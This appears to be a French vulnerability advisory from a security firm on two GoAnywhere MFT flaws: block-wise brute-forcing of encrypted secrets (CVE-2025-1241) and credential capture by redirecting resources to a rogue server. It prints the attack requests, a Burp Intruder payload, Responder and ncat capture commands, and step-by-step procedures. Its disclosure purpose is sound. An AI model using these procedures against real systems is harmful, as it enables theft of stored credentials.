Analyse de la vulnérabilité : Décryptage des secrets Fortra GoAnywhere CVE
> Actualités et événements > Analyse de la vulnérabilité : décryptage des secrets dans Fortra GoAnywhere (CVE)
Le 7 janvier 2025, Robin Wolters, de Bureau Veritas Cybersecurity, a découvert deux vulnérabilités au sein du logiciel Fortra GoAnywhere MFT (logiciel de transfert de fichiers sécurisé et géré), dont l'une s'est récemment vu attribuer le numéro CVE-2025-1241.
La version utilisée lors de ces tests est GoAnywhere version 7.6.0 Build 44.
La page produit de GoAnywhere MFT indique que le logiciel peut être utilisé pour sécuriser les données sensibles, telles que les informations médicales protégées (PHI), les informations personnelles identifiables (PII) et les données de carte bancaire, tant en transit qu'au repos. Cela signifie qu'une vulnérabilité pourrait entraîner la compromission ou la perturbation de ces données sensibles chez les clients du logiciel GoAnywhere MFT.
Les vulnérabilités identifiées entraînent toutes deux l'exposition de secrets stockés sous forme chiffrée. La première vulnérabilité permet à un attaquant de procéder à une attaque par force brute sur n'importe quel secret chiffré stocké en raison d 'une faiblesse dans le mécanisme de chiffrement utilisé. Ce mécanisme chiffre les secrets à l'aide d'un chiffrement par blocs, par blocs de 8 caractères. De ce fait, les attaques par force brute sur les secrets chiffrés peuvent être effectuées par blocs de 8, ce qui limite la longueur effective du secret d'origine. L'utilisation d'un mot de passe de 24 caractères impliquerait de soumettre trois blocs de 8 caractères à une attaque par force brute, au lieu d'un seul mot de passe de 24 caractères. La vulnérabilité permettait également à un attaquant de déterminer la longueur approximative du secret, à la taille du bloc près, ce qui limitait encore davantage la robustesse du chiffrement. Celle-ci porte le numéro CVE-2025-1241.
La deuxième vulnérabilité permet à un attaquant de recevoir du système les identifiants en clair pour des ressources précédemment configurées. Les ressources peuvent être configurées avec des comptes pour l'authentification auprès de la ressource distante. Le mot de passe de ce compte n'est pas affiché à l'utilisateur après la configuration initiale ; il ne peut être remplacé que par un nouveau. Cependant, en modifiant l'adresse cible de la ressource, l'authentification de celle-ci peut être redirigée vers un serveur sous le contrôle d'un attaquant. Avec une configuration appropriée, ce serveur malveillant peut être configuré pour collecter les identifiants issus de l'authentification, ce qui permet d'obtenir soit le mot de passe en clair, soit les identifiants dans un format spécifique au service. Cette vulnérabilité n'a pas reçu de numéro CVE, car elle est inhérente à la manière dont les secrets sont utilisés.
Scénario 1 :
attaque par force brute des secrets
Lors de l'examen du portail d'administration de GoAnywhere, l'outil de chiffrement est apparu. Cet outil permettait à un administrateur de chiffrer des mots de passe en clair afin de les utiliser en toute sécurité comme variables dans les projets. En testant l'outil de chiffrement, des résultats intéressants ont été obtenus :
12345678
1234567812345678
123456781234567812345678
12345678123456781234567812345678Ce qui a donné les chaînes chiffrées suivantes :
*1:/lBhXoui/lbmKb2cHuO/3xXz9swI+mIDl5y4Eqd+YpY= *1:/lBhXoui/lbmKb2cHuO/3z8J2CdV8/DWHFkdcxC7d9EcZzG3vgDsumsh9cuJe2+x *1:/lBhXoui/lbmKb2cHuO/3z8J2CdV8/DWHFkdcxC7d9GY04BhCkHxtr7bj7CkUPPo 9LsBl4QwBERxDQskrElu8Q== *1:/lBhXoui/lbmKb2cHuO/3z8J2CdV8/DWHFkdcxC7d9GY04BhCkHxtr7bj7CkUPPoNujLGzJ6+WlTMvkm0rmyBHJrN7SkayXSc02t0/DwaG8=
Le fait que la partie initiale de la chaîne chiffrée ne change plus peut indiquer l'utilisation d'un chiffrement par blocs. Cela signifierait qu'un secret pourrait être déchiffré par blocs de 8 caractères au lieu de devoir recourir à une attaque par force brute sur l'intégralité du secret, ce qui limiterait considérablement l'efficacité de la longueur du mot de passe.
L'application a été vérifiée afin de détecter l'utilisation de ces chaînes chiffrées. Cependant, l'instance faisant l'objet de l'enquête n'utilisait pas les chaînes chiffrées dans des variables comme suggéré. D'autres emplacements ont été inspectés, tels que les fichiers de configuration de l'application. Citons par exemple le fichier database-2024-11-21-14-19-17.xml, qui contenait une chaîne chiffrée pour la connexion à la base de données :
*1:1ijs[SUPPRIMÉ]THKA==
La longueur approximative de ce mot de passe peut être déterminée grâce au chiffrement par blocs utilisé. À l'aide de l'outil de chiffrement, de nouveaux caractères sont ajoutés à la chaîne en clair jusqu'à ce que le résultat chiffré corresponde à la longueur de la chaîne chiffrée ( 91) :
1234567
*1:nxdAwBailruj46Be4+DAyA==
12345678
*1:/lBhXoui/lbmKb2cHuO/3xXz9swI+mIDl5y4Eqd+YpY=
123456781234567
*1:/lBhXoui/lbmKb2cHuO/35xmPTRyVcQYUZi/EXzZvVY=
1234567812345678
*1:/lBhXoui/lbmKb2cHuO/3z8J2CdV8/DWHFkdcxC7d9EcZzG3vgDsumsh9cuJe2+x
123456781234567812345678
*1:/lBhXoui/lbmKb2cHuO/3z8J2CdV8/DWHFkdcxC7d9GY04BhCkHxtr7bj7CkUPPo
9LsBl4QwBERxDQskrElu8Q==
1234567812345678123456781
*1:/lBhXoui/lbmKb2cHuO/3z8J2CdV8/DWHFkdcxC7d9GY04BhCkHxtr7bj7CkUPPo
jZmTjkbe912yN/xOHF4j1A==
1234567812345678123456781234567
*1:/lBhXoui/lbmKb2cHuO/3z8J2CdV8/DWHFkdcxC7d9GY04BhCkHxtr7bj7CkUPPo
CeobjfYj3HF2rsDkX/0udg==
12345678123456781234567812345678
*1:/lBhXoui/lbmKb2cHuO/3z8J2CdV8/DWHFkdcxC7d9GY04BhCkHxtr7bj7CkUPPo
NujLGzJ6+WlTMvkm0rmyBHJrN7SkayXSc02t0/DwaG8=
Cela montre que la valeur d'entrée d'origine se situerait entre 24 (123456781234567812345678) et 31 ( 1234567812345678123456781234567) caractères.
Un autre exemple peut être trouvé dans la connexion à la ressource. Bien que l'application n'affiche pas les chaînes chiffrées dans la console Web, il était possible de les lire en exportant la configuration d'une ressource. Une nouvelle ressource de serveur SSH a été créée pour la démonstration de principe de l'attaque par force brute sur une chaîne chiffrée :
POST /goanywhere/resources/ConfigureResource.xhtml HTTP/1.1 Host: il-vbu.acp.kvk.nl:9000 Cookie: ASESSIONID=[...] Content-Type: application/x-www-form-urlencoded resourceForm%3AbtnSave=&resourceForm%3Aj_id_40%3A0%3Aj_id_41%3A0%3A j_id_45%3A2%3Ata=&resourceForm%3Aj_id_40%3A0%3Aj_id_41%3A0%3Aj_id_4 5%3A3%3Atf=10.30.50.66&resourceForm%3Aj_id_40%3A0%3Aj_id_41%3A0%3Aj _id_45%3A4%3Atf=8022&resourceForm%3Aj_id_40%3A0%3Aj_id_41%3A0%3Aj_id _45%3A5%3Atf=Secura&resourceForm%3Aj_id_40%3A0%3Aj_id_41%3A0%3Aj_id_45%3A6%3Aef_pwd_hinput=44332211112233441324&[...]
La configuration de la ressource a été téléchargée :
<?xml version="1.0" encoding="UTF-8" ?> Secura testserver Default 10.30.XX.XX 8022 Secura <password>*1:5hiwElHNzJKgMS5gDUVO0xOVAKHxuGrkGqhIpWPAfihF/1gv5X/XgGCEHBSSLVnh
En utilisant la méthode expliquée ci-dessus, il a été possible de déterminer la longueur approximative du mot de passe, qui se situait entre 16 et 24 caractères :
123456781234567*1:/lBhXoui/lbmKb2cHuO/35xmPTRyVcQYUZi/EXzZvVY=1234567812345678*1:/lBhXoui/lbmKb2cHuO/3z8J2CdV8/DWHFkdcxC7d9EcZzG3vgDsumsh9cuJe2+x44332211112233441324*1:5hiwElHNzJKgMS5gDUVO0xOVAKHxuGrkGqhIpWPAfihF/1gv5X/XgGCEHBSSLVnh12345678123456781234567*1:/lBhXoui/lbmKb2cHuO/3z8J2CdV8/DWHFkdcxC7d9FTti437Mrc8Lm9kAqI5/YK123456781234567812345678*1:/lBhXoui/lbmKb2cHuO/3z8J2CdV8/DWHFkdcxC7d9GY04BhCkHxtr7bj7CkUPPo 9LsBl4QwBERxDQskrElu8Q==
L'outil de chiffrement a été utilisé en combinaison avec Burp Intruder pour effectuer une attaque par force brute sur la chaîne chiffrée. Comme mentionné, l'attaque par force brute était possible par sections de 8 caractères. Ainsi, au lieu de devoir cracker un mot de passe de 24 caractères, il était possible de cracker 3 mots de passe de 8 caractères maximum. L'espace de caractères était limité aux chiffres uniquement, car il s'agissait d'une attaque par force brute en ligne contre un système en production.
La première section a été déchiffrée en examinant les 24 premiers caractères de la sortie chiffrée :
*1:5hiwElHNzJKgMS5gDUVO0wgSYOvW7qH5dXA/Pi73oGI=
La première partie du mot de passe a été déchiffrée
Le texte en clair a ensuite été ajouté à la configuration de l'intrus avant la section suivante à déchiffrer par attaque par force brute.
javax.faces.partial.ajax=true&javax.faces.source=j_id_26_a& javax.faces.partial.execute=%40all&javax.faces.partial.render=j_id_28%3A j_id_2b%3AencryptedOutput&j_id_26_a=j_id_26_a&j_id_28%3Aj_id_2b%3Ainput_hinput=44332211§INPUT§&[...]
La section suivante a fait l'objet d'une attaque par force brute jusqu'à ce qu'une correspondance soit trouvée avec les 45 premiers caractères de la chaîne chiffrée.
*1:5hiwElHNzJKgMS5gDUVO0xOVAKHxuGrkGqhIpWPAfihF/1gv5X/XgGCEHBSSLVnh
L'approche pour la dernière section était légèrement différente, car nous ne pouvions pas savoir si le mot de passe comptait 16 ou 23 caractères. Cela signifie que toutes les longueurs comprises entre 1 et 7 devaient faire l'objet d'une attaque par force brute :
Configuration de Burp Intruder utilisée pour cracker la dernière section
Enfin, la dernière partie du mot de passe a également été crackée :
La dernière partie du mot de passe a été crackée
Résumé
Cette vulnérabilité permet à un attaquant de deviner par attaque par force brute les secrets utilisés au sein de l'application par blocs de 8 caractères. Cela limite la résistance effective du secret utilisé et permet à un attaquant d'accéder à des ressources configurées telles que des serveurs SSH, des bases de données, des partages de fichiers ou autres. Les étapes suivantes résument le processus :
- Récupérer un secret chiffré depuis l'application ; par exemple en lisant un fichier de configuration ou en exportant une ressource.
- S'authentifier sur le portail avec des privilèges suffisants pour accéder à l'outil de chiffrement.
- Déterminer la longueur approximative du secret à l'aide de l'outil de chiffrement.
- Utilisez la méthode de votre choix pour réaliser une attaque par force brute sur le mot de passe via l'outil de chiffrement. Cela peut être réalisé à l'aide d'Hydra, de Burp Intruder ou d'un script client.
- Procéder à une attaque par force brute sur chaque bloc de la clé cryptée afin de récupérer la clé en clair d'origine.
Un score CVSS est indiqué ci-dessous pour illustrer la vulnérabilité découverte :
Score CVSS 3.1 indicatif de ce scénario
Atténuation
Mettez à jour l'application vers la version 7.10.0. Ce correctif a été publié le 20 avril 2026. De manière générale, limitez le nombre d'administrateurs en appliquant le principe du privilège minimal afin d'empêcher l'accès à ce type de vulnérabilités.
Scénario 2 :
Transmission de secrets en clair
Les ressources peuvent être configurées dans le portail d'administration, telles que les serveurs SSH ou les partages réseau. Ces ressources nécessitent souvent des identifiants qui peuvent être stockés. Il n'est pas possible de lire le mot de passe (chiffré) depuis l'interface Web :
Le mot de passe chiffré d'une ressource est masqué à l'utilisateur
Un utilisateur disposant de privilèges suffisants est en mesure de modifier les ressources. En modifiant l'adresse du serveur d'un partage réseau, la tentative d'authentification peut être redirigée du serveur d'origine vers un serveur malveillant. Ce dernier pourrait surveiller les authentifications entrantes afin de les intercepter, par exemple à l'aide de Responder :
$ sudo responder -I eth0 -A [+] Serveurs : Serveur SMB [ON] [+] À l'écoute des événements... [+] Responder est en mode analyse. Aucune requête NBT-NS, LLMNR ou MDNS ne sera corrompue. [...] [SMB] Client NTLMv2-SSP : 10.7.255.101 [SMB] Nom d'utilisateur NTLMv2-SSP : TEST\secura [SMB] Hachage NTLMv2-SSP :secura::TEST:6a6c638bcaee13bb:A5FF[...]0000
Ce hachage peut ensuite être utilisé dans le cadre d'une attaque par force brute hors ligne afin de récupérer le mot de passe configuré de la ressource. Par ailleurs, certains services pourraient autoriser l'envoi de mots de passe qui n'ont pas besoin d'être piratés. Les serveurs HTTP(S) en sont un exemple. Un nouveau serveur HTTP a été créé pour la démonstration de faisabilité (PoC) et la fonctionnalité « Test » a été utilisée pour tester la connexion, envoyant ainsi le mot de passe stocké via la connexion HTTP :
La connexion au serveur HTTP a été testée, en envoyant le mot de passe
Le serveur malveillant a reçu la connexion suivante provenant du client GoAnywhere :
$ ncat -lvp 8000 Ncat : Version 7.94SVN ( https://nmap.org/ncat ) Ncat : À l'écoute sur [::]:8000 Ncat : Écoute sur 0.0.0.0:8000 Ncat : Connexion depuis 10.7.255.101:16047. GET / HTTP/1.1 Connection: close Authorization: BasicVGVzdDp0ZXN0cGFzc3dvcmQ=User-Agent: Jakarta Commons-HttpClient/3.1 Host: 10.30.50.66:8000
Le code base64 a été décodé pour donner le nom d'utilisateur et le mot de passe d'origine :
Test:testpassword
Résumé
Cette vulnérabilité permet à un attaquant de récupérer des secrets non chiffrés de l'application qui sont normalement stockés sous forme chiffrée. Selon le protocole utilisé, ces secrets peuvent être reçus soit en texte clair, soit dans un format spécifique au protocole. Les étapes suivantes résument le processus :
- Authentifiez-vous sur le portail avec des privilèges suffisants pour accéder aux ressources.
- Sélectionner un protocole et une ressource comme cible.
- Configurez un serveur malveillant capable de communiquer via le protocole cible et de collecter les informations d'authentification ; par exemple, Responder peut être utilisé pour collecter des données SMB.
- Modifiez la ressource pour rediriger l'adresse cible vers le serveur malveillant.
- Utilisez la fonctionnalité « Test » pour recevoir une tentative d'authentification sans enregistrer les nouveaux paramètres.
Un score CVSS est indiqué ci-dessous pour refléter la vulnérabilité découverte :
Score CVSS 3.1 indicatif de ce scénario
Atténuation
Aucune mise à jour ne sera disponible pour empêcher cette méthode. Atténuer ce comportement rendrait l'administration de l'application plus difficile et moins conviviale. Une solution possible serait d'autoriser l'ajout de certificats à la configuration afin de garantir l'identité du serveur cible. De manière générale, limitez le nombre d'administrateurs en appliquant le principe du moindre privilège afin d'empêcher l'accès à ce type de vulnérabilités.
Pourquoi choisir Bureau Veritas Cybersecurity
Bureau Veritas Cybersecurity est votre expert partner en cybersécurité. Nous aidons les organisations à identifier les risques, à renforcer leurs défenses et à se conformer aux normes et réglementations en matière de cybersécurité. Nos services couvrent les personnes, les processus et la technologie, allant de la formation à la sensibilisation et à l'ingénierie sociale aux conseils en matière de sécurité, de conformité et de tests d'intrusion.
Nous intervenons dans les environnements IT, OT et IoT, et accompagnons aussi bien les systèmes numériques que les produits connectés. Avec plus de 300 professionnels de la cybersécurité à travers le monde, nous combinons une expertise technique approfondie et une présence mondiale. Bureau Veritas Cybersecurity fait partie du Bureau Veritas Group, leader mondial de l'inspection, de la certification et des services aux entreprises.